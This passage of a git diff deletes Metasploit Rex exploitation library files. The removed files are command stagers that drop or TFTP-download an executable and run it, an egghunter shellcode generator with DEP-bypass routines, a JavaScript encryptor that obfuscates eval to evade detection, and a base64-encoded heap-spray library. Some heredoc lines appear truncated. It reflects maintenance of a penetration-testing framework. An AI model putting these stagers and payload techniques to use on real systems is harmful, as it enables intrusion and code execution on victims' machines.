- opts[:temp].gsub!(/\\/, '/')
- opts[:temp] = opts[:temp].shellescape
- opts[:temp] << '/' if opts[:temp][-1,1] != '/'
- super
- end
-
- #
- # Override to set the extra byte count
- #
- def generate_cmds(opts)
- if opts[:noquotes]
- @cmd_start = "printf "
- @cmd_end = ">>#{@tempdir}#{@var_elf}"
- @prefix = '\\\\'
- min_part_size = 5
- else
- @cmd_start = "printf '"
- @cmd_end = "'>>#{@tempdir}#{@var_elf}"
- @prefix = '\\'
- min_part_size = 4
- end
- xtra_len = @cmd_start.length + @cmd_end.length
- opts.merge!({ :extra => xtra_len })
-
- if (opts[:linemax] - opts[:extra]) < min_part_size
- raise RuntimeError, "Not enough space for command - #{opts[:extra] + min_part_size} byte required, #{opts[:linemax]} byte available"
- end
-
- super
- end
-
- #
- # Encode into a "\12\345" octal format that printf understands
- #
- def encode_payload(opts)
- return Rex::Text.to_octal(@exe, @prefix)
- end
-
- #
- # Override it to ensure that the octal representation of a byte isn't cut
- #
- def slice_up_payload(encoded, opts)
- encoded_dup = encoded.dup
-
- parts = []
- xtra_len = opts[:extra]
- xtra_len ||= 0
- while (encoded_dup.length > 0)
- temp = encoded_dup.slice(0, (opts[:linemax] - xtra_len))
-
- # remove the last octal escape if it is imcomplete
- if encoded_dup.length > temp.length and encoded_dup[temp.length, @prefix.length] != @prefix
- pos = temp.rindex('\\')
- pos -= 1 if temp[pos-1] == '\\'
- temp.slice!(pos..temp.length-1)
- end
-
- parts << temp
- encoded_dup.slice!(0, temp.length)
- end
-
- parts
- end
-
- #
- # Combine the parts of the encoded file with the stuff that goes
- # before and after it.
- #
- def parts_to_commands(parts, opts)
- parts.map do |p|
- @cmd_start + p + @cmd_end
- end
- end
-
- #
- # Since the binary has been already dropped to disk, just execute and
- # delete it
- #
- def generate_cmds_decoder(opts)
- cmds = []
- # Make it all happen
- cmds << "chmod +x #{@tempdir}#{@var_elf}"
- cmds << "#{@tempdir}#{@var_elf}"
-
- # Clean up after unless requested not to..
- unless opts[:nodelete]
- cmds << "rm -f #{@tempdir}#{@var_elf}"
- end
-
- return cmds
- end
-
- def cmd_concat_operator
- " ; "
- end
-
-end
-end
-end
diff --git a/lib/rex/exploitation/cmdstager/tftp.rb b/lib/rex/exploitation/cmdstager/tftp.rb
deleted file mode 100644
index c5baadd466..0000000000
--- a/lib/rex/exploitation/cmdstager/tftp.rb
+++ /dev/null
@@ -1,71 +0,0 @@
-# -*- coding: binary -*-
-
-require 'rex/text'
-require 'rex/arch'
-require 'msf/core/framework'
-
-module Rex
-module Exploitation
-
-###
-#
-# This class provides the ability to create a sequence of commands from an executable.
-# When this sequence is ran via command injection or a shell, the resulting exe will
-# be written to disk and executed.
-#
-# This particular version uses tftp.exe to download a binary from the specified
-# server. The original file is preserve, not encoded at all, and so this version
-# is significantly simpler than other methods.
-#
-# Requires: tftp.exe, outbound udp connectivity to a tftp server
-#
-# Written by Joshua J. Drake
-#
-###
-
-class CmdStagerTFTP < CmdStagerBase
-
- def initialize(exe)
- super
- @payload_exe = Rex::Text.rand_text_alpha(8) + ".exe"
- end
-
- def setup(mod)
- self.tftp = Rex::Proto::TFTP::Server.new
- self.tftp.register_file(Rex::Text.rand_text_alphanumeric(8), exe)
- self.tftp.start
- mod.add_socket(self.tftp) # Hating myself for doing it... but it's just a first demo
- end
-
- def teardown(mod = nil)
- self.tftp.stop
- end
-
- #
- # We override compress commands just to stick in a few extra commands
- # last second..
- #
- def compress_commands(cmds, opts)
- # Initiate the download
- cmds << "tftp -i #{opts[:tftphost]} GET #{opts[:transid]} #{@tempdir + @payload_exe}"
-
- # Make it all happen
- cmds << "start #{@tempdir + @payload_exe}"
-
- # Clean up after unless requested not to..
- if (not opts[:nodelete])
- # XXX: We won't be able to delete the payload while it is running..
- end
-
- super
- end
-
- # NOTE: We don't use a concatenation operator here since we only have a couple commands.
- # There really isn't any need to combine them. Also, the ms01_026 exploit depends on
- # the start command being issued separately so that it can ignore it :)
- attr_reader :exe
- attr_reader :payload_exe
- attr_accessor :tftp
-end
-end
-end
diff --git a/lib/rex/exploitation/cmdstager/vbs.rb b/lib/rex/exploitation/cmdstager/vbs.rb
deleted file mode 100644
index 3f1b32f696..0000000000
--- a/lib/rex/exploitation/cmdstager/vbs.rb
+++ /dev/null
@@ -1,126 +0,0 @@
-# -*- coding: binary -*-
-
-require 'rex/text'
-require 'rex/arch'
-require 'msf/core/framework'
-
-module Rex
-module Exploitation
-
-###
-#
-# This class provides the ability to create a sequence of commands from an executable.
-# When this sequence is ran via command injection or a shell, the resulting exe will
-# be written to disk and executed.
-#
-# This particular version uses Windows Scripting (VBS) to base64 decode a file,
-# created via echo >>, and decode it to the final binary.
-#
-# Requires: Windows Scripting
-# Known Issue: errors with non-ascii-native systems
-#
-# Written by bannedit
-#
-###
-
-class CmdStagerVBS < CmdStagerBase
-
- def initialize(exe)
- super
-
- @var_decoder = Rex::Text.rand_text_alpha(5)
- @var_encoded = Rex::Text.rand_text_alpha(5)
- @var_decoded = Rex::Text.rand_text_alpha(5)
- @decoder = nil # filled in later
- end
-
-
- #
- # Override just to set the extra byte count
- #
- def generate_cmds(opts)
- # Set the start/end of the commands here (vs initialize) so we have @tempdir
- @cmd_start = "echo "
- @cmd_end = ">>#{@tempdir}#{@var_encoded}.b64"
- xtra_len = @cmd_start.length + @cmd_end.length + 1
- opts.merge!({ :extra => xtra_len })
- super
- end
-
-
- #
- # Simple base64...
- #
- def encode_payload(opts)
- Rex::Text.encode_base64(@exe)
- end
-
-
- #
- # Combine the parts of the encoded file with the stuff that goes
- # before / after it.
- #
- def parts_to_commands(parts, opts)
-
- cmds = []
- parts.each do |p|
- cmd = ''
- cmd << @cmd_start
- cmd << p
- cmd << @cmd_end
- cmds << cmd
- end
-
- cmds
- end
-
-
- #
- # Generate the commands that will decode the file we just created
- #
- def generate_cmds_decoder(opts)
-
- # Allow decoder stub override (needs to input base64 and output bin)
- @decoder = opts[:decoder] if (opts[:decoder])
-
- # Read the decoder data file
- f = File.new(@decoder, "rb")
- decoder = f.read(f.stat.size)
- f.close
-
- # Replace variables
- decoder.gsub!(/decode_stub/, "#{@tempdir}#{@var_decoder}.vbs")
- decoder.gsub!(/ENCODED/, "#{@tempdir}#{@var_encoded}.b64")
- decoder.gsub!(/DECODED/, "#{@tempdir}#{@var_decoded}.exe")
-
- # Split it apart by the lines
- decoder.split("\n")
- end
-
-
- #
- # We override compress commands just to stick in a few extra commands
- # last second..
- #
- def compress_commands(cmds, opts)
- # Make it all happen
- cmds << "cscript //nologo #{@tempdir}#{@var_decoder}.vbs"
-
- # Clean up after unless requested not to..
- if (not opts[:nodelete])
- cmds << "del #{@tempdir}#{@var_decoder}.vbs"
- cmds << "del #{@tempdir}#{@var_encoded}.b64"
- # NOTE: We won't be able to delete the exe while it's in use.
- end
-
- super
- end
-
- # Windows uses & to concat strings
- def cmd_concat_operator
- " & "
- end
-
-end
-end
-end
diff --git a/lib/rex/exploitation/egghunter.rb b/lib/rex/exploitation/egghunter.rb
deleted file mode 100644
index beae3ab192..0000000000
--- a/lib/rex/exploitation/egghunter.rb
+++ /dev/null
@@ -1,423 +0,0 @@
-# -*- coding: binary -*-
-require 'rex/text'
-require 'rex/arch'
-require 'metasm'
-
-module Rex
-module Exploitation
-
-###
-#
-# This class provides an interface to generating egghunters. Egghunters are
-# used to search process address space for a known byte sequence. This is
-# useful in situations where there is limited room for a payload when an
-# overflow occurs, but it's possible to stick a larger payload somewhere else
-# in memory that may not be directly predictable.
-#
-# Original implementation by skape
-# (See http://www.hick.org/code/skape/papers/egghunt-shellcode.pdf)
-#
-# Checksum checking implemented by dijital1/corelanc0d3r
-# Checksum code merged to Egghunter by jduck
-# Conversion to use Metasm by jduck
-# Startreg code added by corelanc0d3r
-# Added routine to disable DEP for discovered egg (for win, added by corelanc0d3r)
-# Added support for searchforward option (true or false)
-#
-###
-class Egghunter
-
- ###
- #
- # Windows-based egghunters
- #
- ###
- module Windows
- Alias = "win"
-
- module X86
- Alias = ARCH_X86
-
- #
- # The egg hunter stub for win/x86.
- #
- def hunter_stub(payload, badchars = '', opts = {})
-
- startreg = opts[:startreg]
- searchforward = opts[:searchforward]
-
- raise RuntimeError, "Invalid egg string! Need 4 bytes." if opts[:eggtag].length != 4
- marker = "0x%x" % opts[:eggtag].unpack('V').first
-
- checksum = checksum_stub(payload, badchars, opts)
-
- startstub = ''
- if startreg
- if startreg.downcase != 'edx'
- startstub = "\n\tmov edx,#{startreg}\n\tjmp next_addr"
- else
- startstub = "\n\tjmp next_addr"
- end
- end
- startstub << "\n\t" if startstub.length > 0
-
- # search forward or backward ?
- flippage = "\n\tor dx,0xfff"
- edxdirection = "\n\tinc edx"
-
- if searchforward.to_s.downcase == 'false'
- # go backwards
- flippage = "\n\txor dl,dl"
- edxdirection = "\n\tdec edx"
- end
-
- # other vars
- getpointer = ''
- getsize = ''
- getalloctype = ''
- getpc = ''
- jmppayload = "jmp edi"
-
- apireg = opts[:depreg] || 'esi'
- apidest = opts[:depdest]
- depsize = opts[:depsize]
-
- freeregs = [ "esi", "ebp", "ecx", "ebx" ]
-
- reginfo = {
- "ebx"=>["bx","bl","bh"],
- "ecx"=>["cx","cl","ch"]
- }
-
- if opts[:depmethod]
-
- if freeregs.index(apireg) == nil
- getpointer << "mov #{freeregs[0]},#{apireg}\n\t"
- apireg = freeregs[0]
- end
- freeregs.delete(apireg)
-
- if opts[:depmethod].downcase == "virtualalloc"
- depsize = 0xfff
- end
-
- if opts[:depmethod].downcase == "copy" || opts[:depmethod].downcase == "copy_size"
- if apidest
- if freeregs.index(apidest) == nil
- getpointer << "mov #{freeregs[0]},#{apidest}\n\t"
- apidest = freeregs[0]
- end
- else
- getpc = "fldpi\n\tfstenv [esp-0xc]\n\tpop #{freeregs[0]}\n\t"
- apidest = freeregs[0]
- end
- freeregs.delete(apidest)
- end
-
-
- sizereg = freeregs[0]
-
- if not depsize
- depsize = payload.length * 2
- if opts[:depmethod]
- if opts[:depmethod].downcase == "copy_size"
- depsize = payload.length
- end
- end
- end
-
- if depsize <= 127
- getsize << "push 0x%02x\n\t" % depsize
- else
- sizebytes = "%04x" % depsize
- low = sizebytes[2,4]
- high = sizebytes[0,2]
- if sizereg == "ecx" || sizereg == "ebx"
- regvars = reginfo[sizereg]
- getsize << "xor #{sizereg},#{sizereg}\n\t"
- if low != "00" and high != "00"
- getsize << "mov #{regvars[0]},0x%s\n\t" % sizebytes
- elsif low != "00"
- getsize << "mov #{regvars[1]},0x%s\n\t" % low
- elsif high != "00"
- getsize << "mov #{regvars[2]},0x%s\n\t" % high
- end
- end
- if sizereg == "ebp"
- if low != "00" and high != "00"
- getsize << "xor #{sizereg},#{sizereg}\n\t"
- getsize << "mov bp,0x%s\n\t" % sizebytes
- end
- end
- # last resort
- if getsize == ''
- blockcnt = 0
- vpsize = 0
- blocksize = depsize
- while blocksize > 127
- blocksize = blocksize / 2
- blockcnt += 1
- end
- getsize << "xor #{sizereg},#{sizereg}\n\tadd #{sizereg},0x%02x\n\t" % blocksize
- vpsize = blocksize
- depblockcnt = 0
- while depblockcnt < blockcnt
- getsize << "add #{sizereg},#{sizereg}\n\t"
- vpsize += vpsize
- depblockcnt += 1
- end
- delta = depsize - vpsize
- if delta > 0
- getsize << "add #{sizereg},0x%02x\n\t" % delta
- end
- end
- if opts[:depmethod].downcase == "virtualalloc"
- getsize << "inc #{sizereg}\n\t"
- end
-
- getsize << "push #{sizereg}\n\t"
-
- end
-
- getalloctype = getsize
-
- case opts[:depmethod].downcase
- when "virtualprotect"
- jmppayload = "push esp\n\tpush 0x40\n\t"
- jmppayload << getsize
- jmppayload << "push edi\n\tpush edi\n\tpush #{apireg}\n\tret"
- when "virtualalloc"
- jmppayload = "push 0x40\n\t"
- jmppayload << getalloctype
- jmppayload << "push 0x01\n\t"
- jmppayload << "push edi\n\tpush edi\n\tpush #{apireg}\n\tret"
- when "copy"
- jmppayload = getpc
- jmppayload << "push edi\n\tpush #{apidest}\n\tpush #{apidest}\n\tpush #{apireg}\n\tmov edi,#{apidest}\n\tret"
- when "copy_size"
- jmppayload = getpc
- jmppayload << getsize
- jmppayload << "push edi\n\tpush #{apidest}\n\tpush #{apidest}\n\tpush #{apireg}\n\tmov edi,#{apidest}\n\tret"
- end
- end
-
- jmppayload << "\n" if jmppayload.length > 0
-
- assembly = < 0
-
- assembly = <
- # js = <
- #
- # You might use something like this in exploit
- # modules to pass the key to the javascript
- #
- # if (!request.uri.match(/\?\w+/))
- # send_local_redirect(cli, "?#{@key}")
- # return
- # end
- #
- #
-
- def self.encrypt(js, key)
- js.gsub!(/[\r\n]/, '')
-
- encoded = Rex::Encoding::Xor::Generic.encode(js, key)[0].unpack("H*")[0]
-
- # obfuscate the eval call to circumvent generic detection
- eval = 'eval'.split(//).join(Rex::Text.rand_text_alpha(rand(5)).upcase)
- eval_call = 'window["' + eval + '".replace(/[A-Z]/g,"")]'
-
- js_loader = Rex::Exploitation::ObfuscateJS.new <<-ENDJS
- var exploit = '#{encoded}';
- var encoded = '';
- for (i = 0;i {
- 'Variables' => [ 'exploit', 'encoded', 'pass', 'decoded' ],
- },
- 'Strings' => false
- )
- end
-
-end
-
-end
-end
diff --git a/lib/rex/exploitation/heaplib.js.b64 b/lib/rex/exploitation/heaplib.js.b64
deleted file mode 100644
index 547a3e8b9a..0000000000
--- a/lib/rex/exploitation/heaplib.js.b64
+++ /dev/null
@@ -1,331 +0,0 @@
-Ly8NCi8vICAgSmF2YVNjcmlwdCBIZWFwIEV4cGxvaXRhdGlvbiBsaWJyYXJ5
-DQovLyAgIGJ5IEFsZXhhbmRlciBTb3Rpcm92IDxhc290aXJvdkBkZXRlcm1p
-bmEuY29tPg0KLy8gIA0KLy8gICBWZXJzaW9uIDAuMw0KLy8NCi8vIENvcHly
-aWdodCAoYykgMjAwNywgQWxleGFuZGVyIFNvdGlyb3YNCi8vIEFsbCByaWdo
-dHMgcmVzZXJ2ZWQuDQovLyANCi8vIFRoZSBIZWFwTGliIGxpYnJhcnkgaXMg
-bGljZW5zZWQgdW5kZXIgYSBCU0QgbGljZW5zZSwgdGhlIHRleHQgb2Ygd2hp
-Y2ggZm9sbG93czoNCi8vIA0KLy8gUmVkaXN0cmlidXRpb24gYW5kIHVzZSBp
-biBzb3VyY2UgYW5kIGJpbmFyeSBmb3Jtcywgd2l0aCBvciB3aXRob3V0DQov
-LyBtb2RpZmljYXRpb24sIGFyZSBwZXJtaXR0ZWQgcHJvdmlkZWQgdGhhdCB0
-aGUgZm9sbG93aW5nIGNvbmRpdGlvbnMNCi8vIGFyZSBtZXQ6DQovLyANCi8v
-IDEuIFJlZGlzdHJpYnV0aW9ucyBvZiBzb3VyY2UgY29kZSBtdXN0IHJldGFp
-biB0aGUgYWJvdmUgY29weXJpZ2h0DQovLyAgICBub3RpY2UsIHRoaXMgbGlz
-dCBvZiBjb25kaXRpb25zIGFuZCB0aGUgZm9sbG93aW5nIGRpc2NsYWltZXIu
-DQovLyAyLiBSZWRpc3RyaWJ1dGlvbnMgaW4gYmluYXJ5IGZvcm0gbXVzdCBy
-ZXByb2R1Y2UgdGhlIGFib3ZlIGNvcHlyaWdodA0KLy8gICAgbm90aWNlLCB0
-aGlzIGxpc3Qgb2YgY29uZGl0aW9ucyBhbmQgdGhlIGZvbGxvd2luZyBkaXNj
-bGFpbWVyIGluIHRoZQ0KLy8gICAgZG9jdW1lbnRhdGlvbiBhbmQvb3Igb3Ro
-ZXIgbWF0ZXJpYWxzIHByb3ZpZGVkIHdpdGggdGhlIGRpc3RyaWJ1dGlvbi4N
-Ci8vIDMuIE5laXRoZXIgdGhlIG5hbWUgb2YgQWxleGFuZGVyIFNvdGlyb3Yg
-bm9yIHRoZSBuYW1lIG9mIERldGVybWluYSBJbmMuDQovLyAgICBtYXkgYmUg
-dXNlZCB0byBlbmRvcnNlIG9yIHByb21vdGUgcHJvZHVjdHMgZGVyaXZlZCBm
-cm9tIHRoaXMgc29mdHdhcmUNCi8vICAgIHdpdGhvdXQgc3BlY2lmaWMgcHJp
-b3Igd3JpdHRlbiBwZXJtaXNzaW9uLg0KLy8gDQovLyBUSElTIFNPRlRXQVJF
-IElTIFBST1ZJREVEIEJZIFRIRSBDT1BZUklHSFQgSE9MREVSUyBBTkQgQ09O
-VFJJQlVUT1JTICJBUyBJUyINCi8vIEFORCBBTlkgRVhQUkVTUyBPUiBJTVBM
-SUVEIFdBUlJBTlRJRVMsIElOQ0xVRElORywgQlVUIE5PVCBMSU1JVEVEIFRP
-LCBUSEUNCi8vIElNUExJRUQgV0FSUkFOVElFUyBPRiBNRVJDSEFOVEFCSUxJ
-VFkgQU5EIEZJVE5FU1MgRk9SIEEgUEFSVElDVUxBUiBQVVJQT1NFDQovLyBB
-UkUgRElTQ0xBSU1FRC4gSU4gTk8gRVZFTlQgU0hBTEwgVEhFIENPUFlSSUdI
-VCBPV05FUiBPUiBDT05UUklCVVRPUlMgQkUNCi8vIExJQUJMRSBGT1IgQU5Z
-IERJUkVDVCwgSU5ESVJFQ1QsIElOQ0lERU5UQUwsIFNQRUNJQUwsIEVYRU1Q
-TEFSWSwgT1INCi8vIENPTlNFUVVFTlRJQUwgREFNQUdFUyAoSU5DTFVESU5H
-LCBCVVQgTk9UIExJTUlURUQgVE8sIFBST0NVUkVNRU5UIE9GDQovLyBTVUJT
-VElUVVRFIEdPT0RTIE9SIFNFUlZJQ0VTOyBMT1NTIE9GIFVTRSwgREFUQSwg
-T1IgUFJPRklUUzsgT1IgQlVTSU5FU1MNCi8vIElOVEVSUlVQVElPTikgSE9X
-RVZFUiBDQVVTRUQgQU5EIE9OIEFOWSBUSEVPUlkgT0YgTElBQklMSVRZLCBX
-SEVUSEVSIElODQovLyBDT05UUkFDVCwgU1RSSUNUIExJQUJJTElUWSwgT1Ig
-VE9SVCAoSU5DTFVESU5HIE5FR0xJR0VOQ0UgT1IgT1RIRVJXSVNFKQ0KLy8g
-QVJJU0lORyBJTiBBTlkgV0FZIE9VVCBPRiBUSEUgVVNFIE9GIFRISVMgU09G
-VFdBUkUsIEVWRU4gSUYgQURWSVNFRCBPRiBUSEUNCi8vIFBPU1NJQklMSVRZ
-IE9GIFNVQ0ggREFNQUdFLg0KLy8NCiANCi8vDQovLyBoZWFwTGliIG5hbWVz
-cGFjZQ0KLy8NCg0KZnVuY3Rpb24gaGVhcExpYigpIHsNCn0NCg0KDQovLw0K
-Ly8gaGVhcExpYiBjbGFzcw0KLy8NCg0KLy8gaGVhcExpYi5pZSBjb25zdHJ1
-Y3Rvcg0KLy8NCi8vIENyZWF0ZXMgYSBuZXcgaGVhcExpYiBBUEkgb2JqZWN0
-IGZvciBJbnRlcm5ldCBFeHBsb3Jlci4gVGhlIG1heEFsbG9jDQovLyBhcmd1
-bWVudCBzZXRzIHRoZSBtYXhpbXVtIGJsb2NrIHNpemUgdGhhdCBjYW4gYmUg
-YWxsb2NhdGVkIHVzaW5nIHRoZSBhbGxvYygpDQovLyBmdW5jdGlvbi4NCi8v
-DQovLyBBcmd1bWVudHM6DQovLyAgICBtYXhBbGxvYyAtIG1heGltdW0gYWxs
-b2NhdGlvbiBzaXplIGluIGJ5dGVzIChkZWZhdWx0cyB0byA2NTUzNSkNCi8v
-ICAgIGhlYXBCYXNlIC0gYmFzZSBvZiB0aGUgZGVmYXVsdCBwcm9jZXNzIGhl
-YXAgKGRlZmF1bHRzIHRvIDB4MTUwMDAwKQ0KLy8NCg0KaGVhcExpYi5pZSA9
-IGZ1bmN0aW9uKG1heEFsbG9jLCBoZWFwQmFzZSkgew0KDQogICAgdGhpcy5t
-YXhBbGxvYyA9IChtYXhBbGxvYyA/IG1heEFsbG9jIDogNjU1MzUpOw0KICAg
-IHRoaXMuaGVhcEJhc2UgPSAoaGVhcEJhc2UgPyBoZWFwQmFzZSA6IDB4MTUw
-MDAwKTsNCg0KICAgIC8vIEFsbG9jYXRlIGEgcGFkZGluZyBzdHJpbmcgdGhh
-dCB1c2VzIG1heEFsbG9jIGJ5dGVzDQogICAgdGhpcy5wYWRkaW5nU3RyID0g
-IkFBQUEiOw0KDQogICAgd2hpbGUgKDQgKyB0aGlzLnBhZGRpbmdTdHIubGVu
-Z3RoKjIgKyAyIDwgdGhpcy5tYXhBbGxvYykgew0KICAgICAgICB0aGlzLnBh
-ZGRpbmdTdHIgKz0gdGhpcy5wYWRkaW5nU3RyOw0KICAgIH0NCiAgICANCiAg
-ICAvLyBDcmVhdGUgYW4gYXJyYXkgZm9yIHN0b3JpbmcgcmVmZXJlbmNlcyB0
-byBhbGxvY2F0ZWQgbWVtb3J5DQogICAgdGhpcy5tZW0gPSBuZXcgQXJyYXko
-KTsNCg0KICAgIC8vIENhbGwgZmx1c2hPbGVhdXQzMigpIG9uY2UgdG8gYWxs
-b2NhdGUgdGhlIG1heGltdW0gc2l6ZSBibG9ja3MNCiAgICB0aGlzLmZsdXNo
-T2xlYXV0MzIoKTsNCn0NCg0KDQovLw0KLy8gT3V0cHV0cyBhIGRlYnVnZ2lu
-ZyBtZXNzYWdlIGluIFdpbkRiZy4gVGhlIG1zZyBhcmd1bWVudCBtdXN0IGJl
-IGEgc3RyaW5nDQovLyBsaXRlcmFsLiBVc2luZyBzdHJpbmcgY29uY2F0ZW5h
-dGlvbiB0byBidWlsZCB0aGUgbWVzc2FnZSB3aWxsIHJlc3VsdCBpbiBoZWFw
-DQovLyBhbGxvY2F0aW9ucy4NCi8vDQovLyBBcmd1bWVudHM6DQovLyAgICBt
-c2cgLSBzdHJpbmcgdG8gb3V0cHV0DQovLw0KDQpoZWFwTGliLmllLnByb3Rv
-dHlwZS5kZWJ1ZyA9IGZ1bmN0aW9uKG1zZykgew0KICAgIHZvaWQoTWF0aC5h
-dGFuMigweGJhYmUsIG1zZykpOw0KfQ0KDQoNCi8vDQovLyBFbmFibGVzIG9y
-IGRpc2FibGVzIGxvZ2dpbmcgb2YgaGVhcCBvcGVyYXRpb25zIGluIFdpbkRi
-Zy4NCi8vDQovLyBBcmd1bWVudHM6DQovLyAgICBlbmFibGUgLSBhIGJvb2xl
-YW4gdmFsdWUsIHNldCB0byB0cnVlIHRvIGVuYWJsZSBoZWFwIGxvZ2dpbmcN
-Ci8vDQoNCmhlYXBMaWIuaWUucHJvdG90eXBlLmRlYnVnSGVhcCA9IGZ1bmN0
-aW9uKGVuYWJsZSkgew0KDQogICAgaWYgKGVuYWJsZSA9PSB0cnVlKQ0KICAg
-ICAgICB2b2lkKE1hdGguYXRhbigweGJhYmUpKTsNCiAgICBlbHNlDQogICAg
-ICAgIHZvaWQoTWF0aC5hc2luKDB4YmFiZSkpOw0KfQ0KDQoNCi8vDQovLyBU
-cmlnZ2VycyBhIGJyZWFrcG9pbnQgaW4gdGhlIGRlYnVnZ2VyLg0KLy8NCg0K
-aGVhcExpYi5pZS5wcm90b3R5cGUuZGVidWdCcmVhayA9IGZ1bmN0aW9uKG1z
-Zykgew0KICAgIHZvaWQoTWF0aC5hY29zKDB4YmFiZSkpOw0KfQ0KDQoNCi8v
-DQovLyBSZXR1cm5zIGEgc3RyaW5nIG9mIGEgc3BlY2lmaWVkIGxlbmd0aCwg
-dXAgdG8gdGhlIG1heGltdW0gYWxsb2NhdGlvbiBzaXplDQovLyBzZXQgaW4g
-dGhlIGhlYXBMaWIuaWUgY29uc3RydWN0b3IuIFRoZSBzdHJpbmcgY29udGFp
-bnMgIkEiIGNoYXJhY3RlcnMuDQovLw0KLy8gQXJndW1lbnRzOg0KLy8gICAg
-bGVuIC0gbGVuZ3RoIGluIGNoYXJhY3RlcnMNCi8vDQoNCmhlYXBMaWIuaWUu
-cHJvdG90eXBlLnBhZGRpbmcgPSBmdW5jdGlvbihsZW4pIHsNCiAgICBpZiAo
-bGVuID4gdGhpcy5wYWRkaW5nU3RyLmxlbmd0aCkNCiAgICAgICAgdGhyb3cg
-IlJlcXVlc3RlZCBwYWRkaW5nIHN0cmluZyBsZW5ndGggIiArIGxlbiArICIs
-IG9ubHkgIiArIHRoaXMucGFkZGluZ1N0ci5sZW5ndGggKyAiIGF2YWlsYWJs
-ZSI7DQoNCiAgICByZXR1cm4gdGhpcy5wYWRkaW5nU3RyLnN1YnN0cigwLCBs
-ZW4pOw0KfQ0KDQoNCi8vDQovLyBSZXR1cm5zIGEgbnVtYmVyIHJvdW5kZWQg
-dXAgdG8gYSBzcGVjaWZpZWQgdmFsdWUuDQovLw0KLy8gQXJndW1lbnRzOg0K
-Ly8gICAgbnVtICAgLSBpbnRlZ2VyIHRvIHJvdW5kDQovLyAgICByb3VuZCAt
-IHZhbHVlIHRvIHJvdW5kIHRvDQovLw0KDQpoZWFwTGliLmllLnByb3RvdHlw
-ZS5yb3VuZCA9IGZ1bmN0aW9uKG51bSwgcm91bmQpIHsNCiAgICBpZiAocm91
-bmQgPT0gMCkNCiAgICAgICAgdGhyb3cgIlJvdW5kIGFyZ3VtZW50IGNhbm5v
-dCBiZSAwIjsNCg0KICAgIHJldHVybiBwYXJzZUludCgobnVtICsgKHJvdW5k
-LTEpKSAvIHJvdW5kKSAqIHJvdW5kOw0KfQ0KDQoNCi8vDQovLyBDb252ZXJ0
-cyBhbiBpbnRlZ2VyIHRvIGEgaGV4IHN0cmluZy4gVGhpcyBmdW5jdGlvbiB1
-c2VzIHRoZSBoZWFwLg0KLy8NCi8vIEFyZ3VtZW50czoNCi8vICAgIG51bSAg
-IC0gaW50ZWdlciB0byBjb252ZXJ0DQovLyAgICB3aWR0aCAtIHBhZCB0aGUg
-b3V0cHV0IHdpdGggemVyb3MgdG8gYSBzcGVjaWZpZWQgd2lkdGggKG9wdGlv
-bmFsKQ0KLy8NCg0KaGVhcExpYi5pZS5wcm90b3R5cGUuaGV4ID0gZnVuY3Rp
-b24obnVtLCB3aWR0aCkNCnsNCiAgICB2YXIgZGlnaXRzID0gIjAxMjM0NTY3
-ODlBQkNERUYiOw0KDQogICAgdmFyIGhleCA9IGRpZ2l0cy5zdWJzdHIobnVt
-ICYgMHhGLCAxKTsNCg0KICAgIHdoaWxlIChudW0gPiAweEYpIHsNCiAgICAg
-ICAgbnVtID0gbnVtID4+PiA0Ow0KICAgICAgICBoZXggPSBkaWdpdHMuc3Vi
-c3RyKG51bSAmIDB4RiwgMSkgKyBoZXg7DQogICAgfQ0KDQogICAgdmFyIHdp
-ZHRoID0gKHdpZHRoID8gd2lkdGggOiAwKTsNCg0KICAgIHdoaWxlIChoZXgu
-bGVuZ3RoIDwgd2lkdGgpDQogICAgICAgIGhleCA9ICIwIiArIGhleDsNCg0K
-ICAgIHJldHVybiBoZXg7DQp9DQoNCg0KLy8NCi8vIENvbnZlcnQgYSAzMi1i
-aXQgYWRkcmVzcyB0byBhIDQtYnl0ZSBzdHJpbmcgd2l0aCB0aGUgc2FtZSBy
-ZXByZXNlbnRhdGlvbiBpbg0KLy8gbWVtb3J5LiBUaGlzIGZ1bmN0aW9uIHVz
-ZXMgdGhlIGhlYXAuDQovLw0KLy8gQXJndW1lbnRzOg0KLy8gICAgYWRkciAt
-IGludGVnZXIgcmVwcmVzZW50YXRpb24gb2YgdGhlIGFkZHJlc3MNCi8vDQoN
-CmhlYXBMaWIuaWUucHJvdG90eXBlLmFkZHIgPSBmdW5jdGlvbihhZGRyKSB7
-DQogICAgcmV0dXJuIHVuZXNjYXBlKCIldSIgKyB0aGlzLmhleChhZGRyICYg
-MHhGRkZGLCA0KSArICIldSIgKyB0aGlzLmhleCgoYWRkciA+PiAxNikgJiAw
-eEZGRkYsIDQpKTsNCn0NCg0KDQovLw0KLy8gQWxsb2NhdGVzIGEgYmxvY2sg
-b2YgYSBzcGVjaWZpZWQgc2l6ZSB3aXRoIHRoZSBPTEVBVVQzMiBhbGxvYyBm
-dW5jdGlvbi4NCi8vDQovLyBBcmd1bWVudHM6DQovLyAgICBhcmcgLSBzaXpl
-IG9mIHRoZSBuZXcgYmxvY2sgaW4gYnl0ZXMsIG9yIGEgc3RyaW5nIHRvIHN0
-cmR1cA0KLy8gICAgdGFnIC0gYSB0YWcgaWRlbnRpZnlpbmcgdGhlIG1lbW9y
-eSBibG9jayAob3B0aW9uYWwpDQovLw0KDQpoZWFwTGliLmllLnByb3RvdHlw
-ZS5hbGxvY09sZWF1dDMyID0gZnVuY3Rpb24oYXJnLCB0YWcpIHsNCg0KICAg
-IHZhciBzaXplOw0KDQogICAgLy8gQ2FsY3VsYXRlIHRoZSBhbGxvY2F0aW9u
-IHNpemUNCiAgICBpZiAodHlwZW9mIGFyZyA9PSAic3RyaW5nIiB8fCBhcmcg
-aW5zdGFuY2VvZiBTdHJpbmcpDQogICAgICAgIHNpemUgPSA0ICsgYXJnLmxl
-bmd0aCoyICsgMjsgICAgLy8gbGVuICsgc3RyaW5nIGRhdGEgKyBudWxsIHRl
-cm1pbmF0b3INCiAgICBlbHNlDQogICAgICAgIHNpemUgPSBhcmc7DQoNCiAg
-ICAvLyBNYWtlIHN1cmUgdGhhdCB0aGUgc2l6ZSBpcyB2YWxpZA0KICAgIGlm
-ICgoc2l6ZSAmIDB4ZikgIT0gMCkNCiAgICAgICAgdGhyb3cgIkFsbG9jYXRp
-b24gc2l6ZSAiICsgc2l6ZSArICIgbXVzdCBiZSBhIG11bHRpcGxlIG9mIDE2
-IjsNCg0KICAgIC8vIENyZWF0ZSBhbiBhcnJheSBmb3IgdGhpcyB0YWcgaWYg
-ZG9lc24ndCBhbHJlYWR5IGV4aXN0DQogICAgaWYgKHRoaXMubWVtW3RhZ10g
-PT09IHVuZGVmaW5lZCkNCiAgICAgICAgdGhpcy5tZW1bdGFnXSA9IG5ldyBB
